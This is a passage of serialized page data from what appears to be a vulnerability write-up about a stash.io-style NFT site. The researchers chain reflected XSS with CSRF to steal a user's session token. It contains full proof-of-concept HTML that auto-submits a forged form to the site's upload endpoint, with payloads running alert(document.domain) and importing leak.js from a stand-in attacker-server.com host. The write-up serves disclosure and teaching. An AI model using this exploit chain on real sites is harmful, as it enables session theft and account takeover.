\u003C",{"type":23,"tag":504,"props":34452,"children":34453},{"style":5030},[34454],{"type":29,"value":34455},"body",{"type":23,"tag":504,"props":34457,"children":34458},{"style":34431},[34459],{"type":29,"value":8038},{"type":23,"tag":504,"props":34461,"children":34462},{"class":5016,"line":4876},[34463,34467,34472,34476,34481,34486,34490],{"type":23,"tag":504,"props":34464,"children":34465},{"style":34431},[34466],{"type":29,"value":34450},{"type":23,"tag":504,"props":34468,"children":34469},{"style":5030},[34470],{"type":29,"value":34471},"script",{"type":23,"tag":504,"props":34473,"children":34474},{"style":34431},[34475],{"type":29,"value":12508},{"type":23,"tag":504,"props":34477,"children":34478},{"style":5058},[34479],{"type":29,"value":34480},"history.pushState('', '', '/')",{"type":23,"tag":504,"props":34482,"children":34483},{"style":34431},[34484],{"type":29,"value":34485},"\u003C/",{"type":23,"tag":504,"props":34487,"children":34488},{"style":5030},[34489],{"type":29,"value":34471},{"type":23,"tag":504,"props":34491,"children":34492},{"style":34431},[34493],{"type":29,"value":8038},{"type":23,"tag":504,"props":34495,"children":34496},{"class":5016,"line":5099},[34497,34502,34507,34512,34516,34521,34526,34530,34535,34539,34543,34548,34553,34557,34562,34567,34571,34576],{"type":23,"tag":504,"props":34498,"children":34499},{"style":34431},[34500],{"type":29,"value":34501},"    \u003C",{"type":23,"tag":504,"props":34503,"children":34504},{"style":5030},[34505],{"type":29,"value":34506},"form",{"type":23,"tag":504,"props":34508,"children":34509},{"style":5041},[34510],{"type":29,"value":34511}," id",{"type":23,"tag":504,"props":34513,"children":34514},{"style":5047},[34515],{"type":29,"value":546},{"type":23,"tag":504,"props":34517,"children":34518},{"style":6297},[34519],{"type":29,"value":34520},"\"form123\"",{"type":23,"tag":504,"props":34522,"children":34523},{"style":5041},[34524],{"type":29,"value":34525}," action",{"type":23,"tag":504,"props":34527,"children":34528},{"style":5047},[34529],{"type":29,"value":546},{"type":23,"tag":504,"props":34531,"children":34532},{"style":6297},[34533],{"type":29,"value":34534},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":504,"props":34536,"children":34537},{"style":5041},[34538],{"type":29,"value":19158},{"type":23,"tag":504,"props":34540,"children":34541},{"style":5047},[34542],{"type":29,"value":546},{"type":23,"tag":504,"props":34544,"children":34545},{"style":6297},[34546],{"type":29,"value":34547},"\"POST\"",{"type":23,"tag":504,"props":34549,"children":34550},{"style":5041},[34551],{"type":29,"value":34552}," enctype",{"type":23,"tag":504,"props":34554,"children":34555},{"style":5047},[34556],{"type":29,"value":546},{"type":23,"tag":504,"props":34558,"children":34559},{"style":6297},[34560],{"type":29,"value":34561},"\"multipart/form-data\"",{"type":23,"tag":504,"props":34563,"children":34564},{"style":5041},[34565],{"type":29,"value":34566}," value",{"type":23,"tag":504,"props":34568,"children":34569},{"style":5047},[34570],{"type":29,"value":546},{"type":23,"tag":504,"props":34572,"children":34573},{"style":6297},[34574],{"type":29,"value":34575},"\"asd\"",{"type":23,"tag":504,"props":34577,"children":34578},{"style":34431},[34579],{"type":29,"value":8038},{"type":23,"tag":504,"props":34581,"children":34582},{"class":5016,"line":5203},[34583,34588,34592,34597,34601,34606,34611,34615,34620,34624,34628,34633],{"type":23,"tag":504,"props":34584,"children":34585},{"style":34431},[34586],{"type":29,"value":34587},"     \u003C",{"type":23,"tag":504,"props":34589,"children":34590},{"style":5030},[34591],{"type":29,"value":10412},{"type":23,"tag":504,"props":34593,"children":34594},{"style":5041},[34595],{"type":29,"value":34596}," type",{"type":23,"tag":504,"props":34598,"children":34599},{"style":5047},[34600],{"type":29,"value":546},{"type":23,"tag":504,"props":34602,"children":34603},{"style":6297},[34604],{"type":29,"value":34605},"\"file\"",{"type":23,"tag":504,"props":34607,"children":34608},{"style":5041},[34609],{"type":29,"value":34610}," name",{"type":23,"tag":504,"props":34612,"children":34613},{"style":5047},[34614],{"type":29,"value":546},{"type":23,"tag":504,"props":34616,"children":34617},{"style":6297},[34618],{"type":29,"value":34619},"\"data\"",{"type":23,"tag":504,"props":34621,"children":34622},{"style":5041},[34623],{"type":29,"value":34511},{"type":23,"tag":504,"props":34625,"children":34626},{"style":5047},[34627],{"type":29,"value":546},{"type":23,"tag":504,"props":34629,"children":34630},{"style":6297},[34631],{"type":29,"value":34632},"\"file123\"",{"type":23,"tag":504,"props":34634,"children":34635},{"style":34431},[34636],{"type":29,"value":8038},{"type":23,"tag":504,"props":34638,"children":34639},{"class":5016,"line":5308},[34640,34645,34649,34653,34657,34662,34666,34670,34675,34679,34683,34687,34692,34697,34702,34707,34712,34716,34721,34726,34731,34735,34740,34745,34749,34754,34759,34764,34769,34774,34779,34784,34788,34793,34798,34803,34808,34813,34817,34822,34827,34831],{"type":23,"tag":504,"props":34641,"children":34642},{"style":34431},[34643],{"type":29,"value":34644},"      \u003C",{"type":23,"tag":504,"props":34646,"children":34647},{"style":5030},[34648],{"type":29,"value":10412},{"type":23,"tag":504,"props":34650,"children":34651},{"style":5041},[34652],{"type":29,"value":34596},{"type":23,"tag":504,"props":34654,"children":34655},{"style":5047},[34656],{"type":29,"value":546},{"type":23,"tag":504,"props":34658,"children":34659},{"style":6297},[34660],{"type":29,"value":34661},"\"hidden\"",{"type":23,"tag":504,"props":34663,"children":34664},{"style":5041},[34665],{"type":29,"value":34610},{"type":23,"tag":504,"props":34667,"children":34668},{"style":5047},[34669],{"type":29,"value":546},{"type":23,"tag":504,"props":34671,"children":34672},{"style":6297},[34673],{"type":29,"value":34674},"\"config\"",{"type":23,"tag":504,"props":34676,"children":34677},{"style":5041},[34678],{"type":29,"value":34566},{"type":23,"tag":504,"props":34680,"children":34681},{"style":5047},[34682],{"type":29,"value":546},{"type":23,"tag":504,"props":34684,"children":34685},{"style":6297},[34686],{"type":29,"value":22112},{"type":23,"tag":504,"props":34688,"children":34689},{"style":5030},[34690],{"type":29,"value":34691},"{"",{"type":23,"tag":504,"props":34693,"children":34694},{"style":6297},[34695],{"type":29,"value":34696},"address",{"type":23,"tag":504,"props":34698,"children":34699},{"style":5030},[34700],{"type":29,"value":34701},"":"",{"type":23,"tag":504,"props":34703,"children":34704},{"style":6297},[34705],{"type":29,"value":34706},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":504,"props":34708,"children":34709},{"style":5030},[34710],{"type":29,"value":34711},"<",{"type":23,"tag":504,"props":34713,"children":34714},{"style":6297},[34715],{"type":29,"value":199},{"type":23,"tag":504,"props":34717,"children":34718},{"style":5030},[34719],{"type":29,"value":34720},"/",{"type":23,"tag":504,"props":34722,"children":34723},{"style":6297},[34724],{"type":29,"value":34725},"src",{"type":23,"tag":504,"props":34727,"children":34728},{"style":5030},[34729],{"type":29,"value":34730},"=",{"type":23,"tag":504,"props":34732,"children":34733},{"style":6297},[34734],{"type":29,"value":21327},{"type":23,"tag":504,"props":34736,"children":34737},{"style":5030},[34738],{"type":29,"value":34739}," ",{"type":23,"tag":504,"props":34741,"children":34742},{"style":6297},[34743],{"type":29,"value":34744},"onerror",{"type":23,"tag":504,"props":34746,"children":34747},{"style":5030},[34748],{"type":29,"value":34730},{"type":23,"tag":504,"props":34750,"children":34751},{"style":6297},[34752],{"type":29,"value":34753},"alert",{"type":23,"tag":504,"props":34755,"children":34756},{"style":5030},[34757],{"type":29,"value":34758},"(",{"type":23,"tag":504,"props":34760,"children":34761},{"style":6297},[34762],{"type":29,"value":34763},"document",{"type":23,"tag":504,"props":34765,"children":34766},{"style":5030},[34767],{"type":29,"value":34768},".",{"type":23,"tag":504,"props":34770,"children":34771},{"style":6297},[34772],{"type":29,"value":34773},"domain",{"type":23,"tag":504,"props":34775,"children":34776},{"style":5030},[34777],{"type":29,"value":34778},")>","",{"type":23,"tag":504,"props":34780,"children":34781},{"style":6297},[34782],{"type":29,"value":34783},"to",{"type":23,"tag":504,"props":34785,"children":34786},{"style":5030},[34787],{"type":29,"value":34701},{"type":23,"tag":504,"props":34789,"children":34790},{"style":6297},[34791],{"type":29,"value":34792},"profile",{"type":23,"tag":504,"props":34794,"children":34795},{"style":5030},[34796],{"type":29,"value":34797},"-",{"type":23,"tag":504,"props":34799,"children":34800},{"style":6297},[34801],{"type":29,"value":34802},"assets",{"type":23,"tag":504,"props":34804,"children":34805},{"style":5030},[34806],{"type":29,"value":34807},"","",{"type":23,"tag":504,"props":34809,"children":34810},{"style":6297},[34811],{"type":29,"value":34812},"type",{"type":23,"tag":504,"props":34814,"children":34815},{"style":5030},[34816],{"type":29,"value":34701},{"type":23,"tag":504,"props":34818,"children":34819},{"style":6297},[34820],{"type":29,"value":34821},"icon",{"type":23,"tag":504,"props":34823,"children":34824},{"style":5030},[34825],{"type":29,"value":34826},""}",{"type":23,"tag":504,"props":34828,"children":34829},{"style":6297},[34830],{"type":29,"value":22112},{"type":23,"tag":504,"props":34832,"children":34833},{"style":34431},[34834],{"type":29,"value":34835}," />\n",{"type":23,"tag":504,"props":34837,"children":34838},{"class":5016,"line":5336},[34839,34843,34847,34851,34855,34860,34864,34868,34873],{"type":23,"tag":504,"props":34840,"children":34841},{"style":34431},[34842],{"type":29,"value":34644},{"type":23,"tag":504,"props":34844,"children":34845},{"style":5030},[34846],{"type":29,"value":10412},{"type":23,"tag":504,"props":34848,"children":34849},{"style":5041},[34850],{"type":29,"value":34596},{"type":23,"tag":504,"props":34852,"children":34853},{"style":5047},[34854],{"type":29,"value":546},{"type":23,"tag":504,"props":34856,"children":34857},{"style":6297},[34858],{"type":29,"value":34859},"\"submit\"",{"type":23,"tag":504,"props":34861,"children":34862},{"style":5041},[34863],{"type":29,"value":34566},{"type":23,"tag":504,"props":34865,"children":34866},{"style":5047},[34867],{"type":29,"value":546},{"type":23,"tag":504,"props":34869,"children":34870},{"style":6297},[34871],{"type":29,"value":34872},"\"Submit request\"",{"type":23,"tag":504,"props":34874,"children":34875},{"style":34431},[34876],{"type":29,"value":34835},{"type":23,"tag":504,"props":34878,"children":34879},{"class":5016,"line":5349},[34880,34885,34889],{"type":23,"tag":504,"props":34881,"children":34882},{"style":34431},[34883],{"type":29,"value":34884},"    \u003C/",{"type":23,"tag":504,"props":34886,"children":34887},{"style":5030},[34888],{"type":29,"value":34506},{"type":23,"tag":504,"props":34890,"children":34891},{"style":34431},[34892],{"type":29,"value":8038},{"type":23,"tag":504,"props":34894,"children":34895},{"class":5016,"line":5367},[34896,34901,34905],{"type":23,"tag":504,"props":34897,"children":34898},{"style":34431},[34899],{"type":29,"value":34900},"  \u003C/",{"type":23,"tag":504,"props":34902,"children":34903},{"style":5030},[34904],{"type":29,"value":34455},{"type":23,"tag":504,"props":34906,"children":34907},{"style":34431},[34908],{"type":29,"value":8038},{"type":23,"tag":504,"props":34910,"children":34911},{"class":5016,"line":5388},[34912],{"type":23,"tag":504,"props":34913,"children":34914},{"emptyLinePlaceholder":15},[34915],{"type":29,"value":5734},{"type":23,"tag":504,"props":34917,"children":34918},{"class":5016,"line":5397},[34919,34923,34927],{"type":23,"tag":504,"props":34920,"children":34921},{"style":34431},[34922],{"type":29,"value":34450},{"type":23,"tag":504,"props":34924,"children":34925},{"style":5030},[34926],{"type":29,"value":34471},{"type":23,"tag":504,"props":34928,"children":34929},{"style":34431},[34930],{"type":29,"value":8038},{"type":23,"tag":504,"props":34932,"children":34933},{"class":5016,"line":5649},[34934],{"type":23,"tag":504,"props":34935,"children":34936},{"emptyLinePlaceholder":15},[34937],{"type":29,"value":5734},{"type":23,"tag":504,"props":34939,"children":34940},{"class":5016,"line":5666},[34941,34946],{"type":23,"tag":504,"props":34942,"children":34943},{"style":5058},[34944],{"type":29,"value":34945},"    (async ()=>",{"type":23,"tag":504,"props":34947,"children":34948},{"style":5030},[34949],{"type":29,"value":12926},{"type":23,"tag":504,"props":34951,"children":34952},{"class":5016,"line":5683},[34953,34958,34963,34968,34973,34977,34981,34986,34990,34995,35000,35005],{"type":23,"tag":504,"props":34954,"children":34955},{"style":5041},[34956],{"type":29,"value":34957},"        const",{"type":23,"tag":504,"props":34959,"children":34960},{"style":5041},[34961],{"type":29,"value":34962}," blob",{"type":23,"tag":504,"props":34964,"children":34965},{"style":5047},[34966],{"type":29,"value":34967}," = ",{"type":23,"tag":504,"props":34969,"children":34970},{"style":5067},[34971],{"type":29,"value":34972},"await",{"type":23,"tag":504,"props":34974,"children":34975},{"style":5047},[34976],{"type":29,"value":5110},{"type":23,"tag":504,"props":34978,"children":34979},{"style":5067},[34980],{"type":29,"value":34972},{"type":23,"tag":504,"props":34982,"children":34983},{"style":5139},[34984],{"type":29,"value":34985}," fetch",{"type":23,"tag":504,"props":34987,"children":34988},{"style":5047},[34989],{"type":29,"value":603},{"type":23,"tag":504,"props":34991,"children":34992},{"style":6297},[34993],{"type":29,"value":34994},"\"/sapo.png\"",{"type":23,"tag":504,"props":34996,"children":34997},{"style":5047},[34998],{"type":29,"value":34999},")).",{"type":23,"tag":504,"props":35001,"children":35002},{"style":5139},[35003],{"type":29,"value":35004},"blob",{"type":23,"tag":504,"props":35006,"children":35007},{"style":5047},[35008],{"type":29,"value":9780},{"type":23,"tag":504,"props":35010,"children":35011},{"class":5016,"line":5696},[35012],{"type":23,"tag":504,"props":35013,"children":35014},{"emptyLinePlaceholder":15},[35015],{"type":29,"value":5734},{"type":23,"tag":504,"props":35017,"children":35018},{"class":5016,"line":5705},[35019,35023,35028,35032,35036,35041,35046,35050,35054,35059,35064,35069,35074],{"type":23,"tag":504,"props":35020,"children":35021},{"style":5041},[35022],{"type":29,"value":5105},{"type":23,"tag":504,"props":35024,"children":35025},{"style":5041},[35026],{"type":29,"value":35027}," f",{"type":23,"tag":504,"props":35029,"children":35030},{"style":5047},[35031],{"type":29,"value":34967},{"type":23,"tag":504,"props":35033,"children":35034},{"style":5030},[35035],{"type":29,"value":17169},{"type":23,"tag":504,"props":35037,"children":35038},{"style":5139},[35039],{"type":29,"value":35040}," File",{"type":23,"tag":504,"props":35042,"children":35043},{"style":5047},[35044],{"type":29,"value":35045},"([",{"type":23,"tag":504,"props":35047,"children":35048},{"style":5041},[35049],{"type":29,"value":35004},{"type":23,"tag":504,"props":35051,"children":35052},{"style":5047},[35053],{"type":29,"value":25101},{"type":23,"tag":504,"props":35055,"children":35056},{"style":6297},[35057],{"type":29,"value":35058},"'sapo.png'",{"type":23,"tag":504,"props":35060,"children":35061},{"style":5047},[35062],{"type":29,"value":35063},", {",{"type":23,"tag":504,"props":35065,"children":35066},{"style":5041},[35067],{"type":29,"value":35068},"type:",{"type":23,"tag":504,"props":35070,"children":35071},{"style":6297},[35072],{"type":29,"value":35073}," 'image/png'",{"type":23,"tag":504,"props":35075,"children":35076},{"style":5047},[35077],{"type":29,"value":35078},"})\n",{"type":23,"tag":504,"props":35080,"children":35081},{"class":5016,"line":5728},[35082,35086,35091,35095,35099,35104],{"type":23,"tag":504,"props":35083,"children":35084},{"style":5041},[35085],{"type":29,"value":34957},{"type":23,"tag":504,"props":35087,"children":35088},{"style":5041},[35089],{"type":29,"value":35090}," dataTransfer",{"type":23,"tag":504,"props":35092,"children":35093},{"style":5047},[35094],{"type":29,"value":34967},{"type":23,"tag":504,"props":35096,"children":35097},{"style":5030},[35098],{"type":29,"value":17169},{"type":23,"tag":504,"props":35100,"children":35101},{"style":5139},[35102],{"type":29,"value":35103}," DataTransfer",{"type":23,"tag":504,"props":35105,"children":35106},{"style":5047},[35107],{"type":29,"value":5725},{"type":23,"tag":504,"props":35109,"children":35110},{"class":5016,"line":5737},[35111,35116,35120,35125,35129,35133,35137,35141],{"type":23,"tag":504,"props":35112,"children":35113},{"style":5041},[35114],{"type":29,"value":35115},"        dataTransfer",{"type":23,"tag":504,"props":35117,"children":35118},{"style":5047},[35119],{"type":29,"value":357},{"type":23,"tag":504,"props":35121,"children":35122},{"style":5041},[35123],{"type":29,"value":35124},"items",{"type":23,"tag":504,"props":35126,"children":35127},{"style":5047},[35128],{"type":29,"value":357},{"type":23,"tag":504,"props":35130,"children":35131},{"style":5139},[35132],{"type":29,"value":11684},{"type":23,"tag":504,"props":35134,"children":35135},{"style":5047},[35136],{"type":29,"value":603},{"type":23,"tag":504,"props":35138,"children":35139},{"style":5041},[35140],{"type":29,"value":3025},{"type":23,"tag":504,"props":35142,"children":35143},{"style":5047},[35144],{"type":29,"value":5888},{"type":23,"tag":504,"props":35146,"children":35147},{"class":5016,"line":5746},[35148],{"type":23,"tag":504,"props":35149,"children":35150},{"emptyLinePlaceholder":15},[35151],{"type":29,"value":5734},{"type":23,"tag":504,"props":35153,"children":35154},{"class":5016,"line":5813},[35155,35160,35164,35169,35173,35178,35182,35186],{"type":23,"tag":504,"props":35156,"children":35157},{"style":5041},[35158],{"type":29,"value":35159},"        file123",{"type":23,"tag":504,"props":35161,"children":35162},{"style":5047},[35163],{"type":29,"value":357},{"type":23,"tag":504,"props":35165,"children":35166},{"style":5041},[35167],{"type":29,"value":35168},"files",{"type":23,"tag":504,"props":35170,"children":35171},{"style":5047},[35172],{"type":29,"value":34967},{"type":23,"tag":504,"props":35174,"children":35175},{"style":5041},[35176],{"type":29,"value":35177},"dataTransfer",{"type":23,"tag":504,"props":35179,"children":35180},{"style":5047},[35181],{"type":29,"value":357},{"type":23,"tag":504,"props":35183,"children":35184},{"style":5041},[35185],{"type":29,"value":35168},{"type":23,"tag":504,"props":35187,"children":35188},{"style":5047},[35189],{"type":29,"value":5061},{"type":23,"tag":504,"props":35191,"children":35192},{"class":5016,"line":5821},[35193,35198],{"type":23,"tag":504,"props":35194,"children":35195},{"style":5030},[35196],{"type":29,"value":35197},"    }",{"type":23,"tag":504,"props":35199,"children":35200},{"style":5058},[35201],{"type":29,"value":35202},")()\n",{"type":23,"tag":504,"props":35204,"children":35205},{"class":5016,"line":5851},[35206],{"type":23,"tag":504,"props":35207,"children":35208},{"emptyLinePlaceholder":15},[35209],{"type":29,"value":5734},{"type":23,"tag":504,"props":35211,"children":35212},{"class":5016,"line":5859},[35213,35217,35221],{"type":23,"tag":504,"props":35214,"children":35215},{"style":34431},[35216],{"type":29,"value":34900},{"type":23,"tag":504,"props":35218,"children":35219},{"style":5030},[35220],{"type":29,"value":34471},{"type":23,"tag":504,"props":35222,"children":35223},{"style":34431},[35224],{"type":29,"value":8038},{"type":23,"tag":504,"props":35226,"children":35227},{"class":5016,"line":5891},[35228,35232,35236],{"type":23,"tag":504,"props":35229,"children":35230},{"style":34431},[35231],{"type":29,"value":34485},{"type":23,"tag":504,"props":35233,"children":35234},{"style":5030},[35235],{"type":29,"value":34438},{"type":23,"tag":504,"props":35237,"children":35238},{"style":34431},[35239],{"type":29,"value":8038},{"type":23,"tag":32,"props":35241,"children":35242},{},[35243],{"type":29,"value":35244},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":32,"props":35246,"children":35247},{},[35248],{"type":29,"value":35249},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":32,"props":35251,"children":35252},{},[35253],{"type":29,"value":35254},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":32,"props":35256,"children":35257},{},[35258],{"type":29,"value":35259},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":4743,"props":35261,"children":35263},{"className":33418,"code":35262,"language":33420,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[35264],{"type":23,"tag":154,"props":35265,"children":35266},{"__ignoreMap":7},[35267,35282,35297,35328,35403,35454,35642,35681,35696,35711,35718,35733,35740,35751,35802,35809,35864,35891,35926,35933,35968,35975,35996,36007,36014,36029],{"type":23,"tag":504,"props":35268,"children":35269},{"class":5016,"line":5017},[35270,35274,35278],{"type":23,"tag":504,"props":35271,"children":35272},{"style":34431},[35273],{"type":29,"value":2658},{"type":23,"tag":504,"props":35275,"children":35276},{"style":5030},[35277],{"type":29,"value":34438},{"type":23,"tag":504,"props":35279,"children":35280},{"style":34431},[35281],{"type":29,"value":8038},{"type":23,"tag":504,"props":35283,"children":35284},{"class":5016,"line":4868},[35285,35289,35293],{"type":23,"tag":504,"props":35286,"children":35287},{"style":34431},[35288],{"type":29,"value":34450},{"type":23,"tag":504,"props":35290,"children":35291},{"style":5030},[35292],{"type":29,"value":34455},{"type":23,"tag":504,"props":35294,"children":35295},{"style":34431},[35296],{"type":29,"value":8038},{"type":23,"tag":504,"props":35298,"children":35299},{"class":5016,"line":4876},[35300,35304,35308,35312,35316,35320,35324],{"type":23,"tag":504,"props":35301,"children":35302},{"style":34431},[35303],{"type":29,"value":34450},{"type":23,"tag":504,"props":35305,"children":35306},{"style":5030},[35307],{"type":29,"value":34471},{"type":23,"tag":504,"props":35309,"children":35310},{"style":34431},[35311],{"type":29,"value":12508},{"type":23,"tag":504,"props":35313,"children":35314},{"style":5058},[35315],{"type":29,"value":34480},{"type":23,"tag":504,"props":35317,"children":35318},{"style":34431},[35319],{"type":29,"value":34485},{"type":23,"tag":504,"props":35321,"children":35322},{"style":5030},[35323],{"type":29,"value":34471},{"type":23,"tag":504,"props":35325,"children":35326},{"style":34431},[35327],{"type":29,"value":8038},{"type":23,"tag":504,"props":35329,"children":35330},{"class":5016,"line":5099},[35331,35335,35339,35343,35347,35351,35355,35359,35363,35367,35371,35375,35379,35383,35387,35391,35395,35399],{"type":23,"tag":504,"props":35332,"children":35333},{"style":34431},[35334],{"type":29,"value":34501},{"type":23,"tag":504,"props":35336,"children":35337},{"style":5030},[35338],{"type":29,"value":34506},{"type":23,"tag":504,"props":35340,"children":35341},{"style":5041},[35342],{"type":29,"value":34511},{"type":23,"tag":504,"props":35344,"children":35345},{"style":5047},[35346],{"type":29,"value":546},{"type":23,"tag":504,"props":35348,"children":35349},{"style":6297},[35350],{"type":29,"value":34520},{"type":23,"tag":504,"props":35352,"children":35353},{"style":5041},[35354],{"type":29,"value":34525},{"type":23,"tag":504,"props":35356,"children":35357},{"style":5047},[35358],{"type":29,"value":546},{"type":23,"tag":504,"props":35360,"children":35361},{"style":6297},[35362],{"type":29,"value":34534},{"type":23,"tag":504,"props":35364,"children":35365},{"style":5041},[35366],{"type":29,"value":19158},{"type":23,"tag":504,"props":35368,"children":35369},{"style":5047},[35370],{"type":29,"value":546},{"type":23,"tag":504,"props":35372,"children":35373},{"style":6297},[35374],{"type":29,"value":34547},{"type":23,"tag":504,"props":35376,"children":35377},{"style":5041},[35378],{"type":29,"value":34552},{"type":23,"tag":504,"props":35380,"children":35381},{"style":5047},[35382],{"type":29,"value":546},{"type":23,"tag":504,"props":35384,"children":35385},{"style":6297},[35386],{"type":29,"value":34561},{"type":23,"tag":504,"props":35388,"children":35389},{"style":5041},[35390],{"type":29,"value":34566},{"type":23,"tag":504,"props":35392,"children":35393},{"style":5047},[35394],{"type":29,"value":546},{"type":23,"tag":504,"props":35396,"children":35397},{"style":6297},[35398],{"type":29,"value":34575},{"type":23,"tag":504,"props":35400,"children":35401},{"style":34431},[35402],{"type":29,"value":8038},{"type":23,"tag":504,"props":35404,"children":35405},{"class":5016,"line":5203},[35406,35410,35414,35418,35422,35426,35430,35434,35438,35442,35446,35450],{"type":23,"tag":504,"props":35407,"children":35408},{"style":34431},[35409],{"type":29,"value":34587},{"type":23,"tag":504,"props":35411,"children":35412},{"style":5030},[35413],{"type":29,"value":10412},{"type":23,"tag":504,"props":35415,"children":35416},{"style":5041},[35417],{"type":29,"value":34596},{"type":23,"tag":504,"props":35419,"children":35420},{"style":5047},[35421],{"type":29,"value":546},{"type":23,"tag":504,"props":35423,"children":35424},{"style":6297},[35425],{"type":29,"value":34605},{"type":23,"tag":504,"props":35427,"children":35428},{"style":5041},[35429],{"type":29,"value":34610},{"type":23,"tag":504,"props":35431,"children":35432},{"style":5047},[35433],{"type":29,"value":546},{"type":23,"tag":504,"props":35435,"children":35436},{"style":6297},[35437],{"type":29,"value":34619},{"type":23,"tag":504,"props":35439,"children":35440},{"style":5041},[35441],{"type":29,"value":34511},{"type":23,"tag":504,"props":35443,"children":35444},{"style":5047},[35445],{"type":29,"value":546},{"type":23,"tag":504,"props":35447,"children":35448},{"style":6297},[35449],{"type":29,"value":34632},{"type":23,"tag":504,"props":35451,"children":35452},{"style":34431},[35453],{"type":29,"value":8038},{"type":23,"tag":504,"props":35455,"children":35456},{"class":5016,"line":5308},[35457,35461,35465,35469,35473,35477,35481,35485,35489,35493,35497,35501,35506,35510,35515,35519,35524,35528,35533,35538,35542,35546,35551,35556,35561,35566,35571,35576,35580,35585,35589,35593,35598,35602,35607,35612,35617,35621,35625,35629,35634,35638],{"type":23,"tag":504,"props":35458,"children":35459},{"style":34431},[35460],{"type":29,"value":34644},{"type":23,"tag":504,"props":35462,"children":35463},{"style":5030},[35464],{"type":29,"value":10412},{"type":23,"tag":504,"props":35466,"children":35467},{"style":5041},[35468],{"type":29,"value":34596},{"type":23,"tag":504,"props":35470,"children":35471},{"style":5047},[35472],{"type":29,"value":546},{"type":23,"tag":504,"props":35474,"children":35475},{"style":6297},[35476],{"type":29,"value":34661},{"type":23,"tag":504,"props":35478,"children":35479},{"style":5041},[35480],{"type":29,"value":34610},{"type":23,"tag":504,"props":35482,"children":35483},{"style":5047},[35484],{"type":29,"value":546},{"type":23,"tag":504,"props":35486,"children":35487},{"style":6297},[35488],{"type":29,"value":34674},{"type":23,"tag":504,"props":35490,"children":35491},{"style":5041},[35492],{"type":29,"value":34566},{"type":23,"tag":504,"props":35494,"children":35495},{"style":5047},[35496],{"type":29,"value":546},{"type":23,"tag":504,"props":35498,"children":35499},{"style":6297},[35500],{"type":29,"value":22112},{"type":23,"tag":504,"props":35502,"children":35503},{"style":5030},[35504],{"type":29,"value":35505},"{"",{"type":23,"tag":504,"props":35507,"children":35508},{"style":6297},[35509],{"type":29,"value":34696},{"type":23,"tag":504,"props":35511,"children":35512},{"style":5030},[35513],{"type":29,"value":35514},"":"<",{"type":23,"tag":504,"props":35516,"children":35517},{"style":6297},[35518],{"type":29,"value":199},{"type":23,"tag":504,"props":35520,"children":35521},{"style":5030},[35522],{"type":29,"value":35523},"/",{"type":23,"tag":504,"props":35525,"children":35526},{"style":6297},[35527],{"type":29,"value":34725},{"type":23,"tag":504,"props":35529,"children":35530},{"style":5030},[35531],{"type":29,"value":35532},"=",{"type":23,"tag":504,"props":35534,"children":35535},{"style":6297},[35536],{"type":29,"value":35537},"x onerror",{"type":23,"tag":504,"props":35539,"children":35540},{"style":5030},[35541],{"type":29,"value":35532},{"type":23,"tag":504,"props":35543,"children":35544},{"style":6297},[35545],{"type":29,"value":21535},{"type":23,"tag":504,"props":35547,"children":35548},{"style":5030},[35549],{"type":29,"value":35550},"(`",{"type":23,"tag":504,"props":35552,"children":35553},{"style":6297},[35554],{"type":29,"value":35555},"https",{"type":23,"tag":504,"props":35557,"children":35558},{"style":5030},[35559],{"type":29,"value":35560},"://",{"type":23,"tag":504,"props":35562,"children":35563},{"style":6297},[35564],{"type":29,"value":35565},"attacker-server",{"type":23,"tag":504,"props":35567,"children":35568},{"style":5030},[35569],{"type":29,"value":35570},".",{"type":23,"tag":504,"props":35572,"children":35573},{"style":6297},[35574],{"type":29,"value":35575},"com",{"type":23,"tag":504,"props":35577,"children":35578},{"style":5030},[35579],{"type":29,"value":35523},{"type":23,"tag":504,"props":35581,"children":35582},{"style":6297},[35583],{"type":29,"value":35584},"leak",{"type":23,"tag":504,"props":35586,"children":35587},{"style":5030},[35588],{"type":29,"value":35570},{"type":23,"tag":504,"props":35590,"children":35591},{"style":6297},[35592],{"type":29,"value":33420},{"type":23,"tag":504,"props":35594,"children":35595},{"style":5030},[35596],{"type":29,"value":35597},"`)>","",{"type":23,"tag":504,"props":35599,"children":35600},{"style":6297},[35601],{"type":29,"value":34783},{"type":23,"tag":504,"props":35603,"children":35604},{"style":5030},[35605],{"type":29,"value":35606},"":"",{"type":23,"tag":504,"props":35608,"children":35609},{"style":6297},[35610],{"type":29,"value":35611},"profile-assets",{"type":23,"tag":504,"props":35613,"children":35614},{"style":5030},[35615],{"type":29,"value":35616},"","",{"type":23,"tag":504,"props":35618,"children":35619},{"style":6297},[35620],{"type":29,"value":34812},{"type":23,"tag":504,"props":35622,"children":35623},{"style":5030},[35624],{"type":29,"value":35606},{"type":23,"tag":504,"props":35626,"children":35627},{"style":6297},[35628],{"type":29,"value":34821},{"type":23,"tag":504,"props":35630,"children":35631},{"style":5030},[35632],{"type":29,"value":35633},""}",{"type":23,"tag":504,"props":35635,"children":35636},{"style":6297},[35637],{"type":29,"value":22112},{"type":23,"tag":504,"props":35639,"children":35640},{"style":34431},[35641],{"type":29,"value":34835},{"type":23,"tag":504,"props":35643,"children":35644},{"class":5016,"line":5336},[35645,35649,35653,35657,35661,35665,35669,35673,35677],{"type":23,"tag":504,"props":35646,"children":35647},{"style":34431},[35648],{"type":29,"value":34644},{"